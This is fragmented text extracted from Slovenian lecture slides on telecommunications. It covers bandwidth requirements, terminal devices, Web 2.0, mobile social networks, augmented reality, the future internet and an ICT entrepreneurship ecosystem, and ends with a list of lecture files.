Pasovna širina 
 

Govor– GSM 13 kbit/s 
 

Govor– ISDN 64 kbit/s 
 

Streaming audio 
 

20 kbit/s – 512 kbit/s 

4 – 8 Mbit/s 

 
 

8 – 14 Mbit/s (MPEG 4avc) 
25 Mbit/s (MPEG 2) 

Videokonference 
 

HDTV 

384 kbit/s – 5 Mbit/s 

Streaming video – MPEG 2 

Streaming video – MPEG 4/AVC 

Internet video 

1 – 3 Mbit/s 

28 kbit/s – 1 Mbit/s 
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Terminalne naprave- razdelitev 
 Osebni računalnik 
 Televizijski komunikator (Net-Top-Box) 
 Igralna konzola 
 Tablični računalnik (Tablet PC) 
 Dlančnik 
 Mobilni telefon  
 Specializirane naprave 

zmogljivost 

mobilnost 
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Mobilni terminali 

Grandad:  
When I was your age, all I've got for Christmas
was an apple and a blackberry. 
 
Boy:  
WHAT! A LAPTOP AND A MOBILE?!?!  
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Evolucija spleta 
              Web 1.0 

 
 
 
 
 
 
 

 
 Zaprtost 

 ni izmenjave podatkov 
 

 Statične strani 
 logika se izvaja na serverju 

 
 

                  Web 2.0 
 
 
 
 
 
 

 Sodelovanje  
 med aplikacijami  

 med uporabniki (kolaboracija) 
 

 Dinamične aplikacije, 
bogata vsebina (slike, 

zvok, video) 
 Splet kot platforma 
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Mobilna socialna omrežja 
 Poenotene komunikacije 

 lokacijsko ozaveščene (GPS/WiFi/Cell ID) 
 Facebook aplikacija za iPhone 
 +prilagojena mobilna spletna stran 

 
Facebook iPhone, 

iPod Touch 

430 mio  
uporabnikov 

+137% zadnje leto 

57 mio  
uporabnikov 

+166% zadnje leto 
350K aplikacij 

500M downloadov 

70 mio 
+600% 
zadnje 

leto 
85K aplikacij 

2B downloadov 

Android 
telefoni 

 

Netbooki 
(39 mio) 

iPad (3G) 

Bralniki  
e- knjig (3G) 
(Kindle: 1mio) 
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Augmented reality 
 Izboljšava realnega sveta  

s prikazom podatkov  
na zaslonu (overlay) 
 GPS + kompas + fotoaparat 

 iPhone in Android aplikacije 
 ter Augmented SDK za razvijalce 

 Prototip Sixth Sense 

 LED projektor + terminal 
 projekcija informacij v okolje 
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eHealth &  
Smart Health 

networks  

Smart Energy 
Networks 

Smart Transport 
Networks 

Game Machine  

Telephone 

PC 

DVD 

Audio  

TV 
STB DVC 

Smart 
Living 

S
 m

 a r
 t 

  S
 p a

 c e
 

Future Internet 

Future Internet 

Vir: ITU 



Svet in IKT 

Vir: ITU 



Kitajska v slikah 



Samomotiviranost 

Kaj rad 
delam? 

(moja strast) 

Kaj dobro 
delam? 
(moji 

talenti) 

Kaj okolje 
potrebuje? 



Ekosistem talentov in podjetništva! 

Osnovne šole 

Srednje šole 

Mladi v regionalnem okolju 

Višje šole 

SVET Podjetja 

TM ICT 

Podjetje 
Podjetje 

Podjetje 

Novo podjetje 

Novo podjetje 

Zdruţenje 

mentorjev 

GoGlobal 
Razvojni 

Center IKT 

Tehnološki  
Park LJ 

Novo podjetje 

“DRŢAVA”, MVZT, MŠŠ, JAPTI, TIA, ARRS, SPS ... 

Fakulteta 

Fakulteta 
Univerza 

Fakulteta 

Fakulteta Fakulteta 

Kompetenčni  
center  OPPCOM 

Mednarodna 
računalniška 
olimpijada 



Malcom Gladwell – Outliers (2008) 



Literatura 


	p_02_Osnovni-pojmi_v1.3
	p_03-1-OSI-RM-in-primeri
	p_03-2-Ethernet
	p_04_Arhitekture-TK-omrežij
	p_04_Komunikacijska-vodila
	p_05-06-Osnove-IP_v1.3
	p_07_Brezzicne-komunikacije
	p_08_Mobilnost
	p_09_Sateliti
	p_10_web20-future_internet_dec2011
	p_11_Geografski-vidiki-telekomunikacij-Andrej-Gregorc-2011
	p_12_Multimedija
	p_13_Povzetek_2011-2012_v2

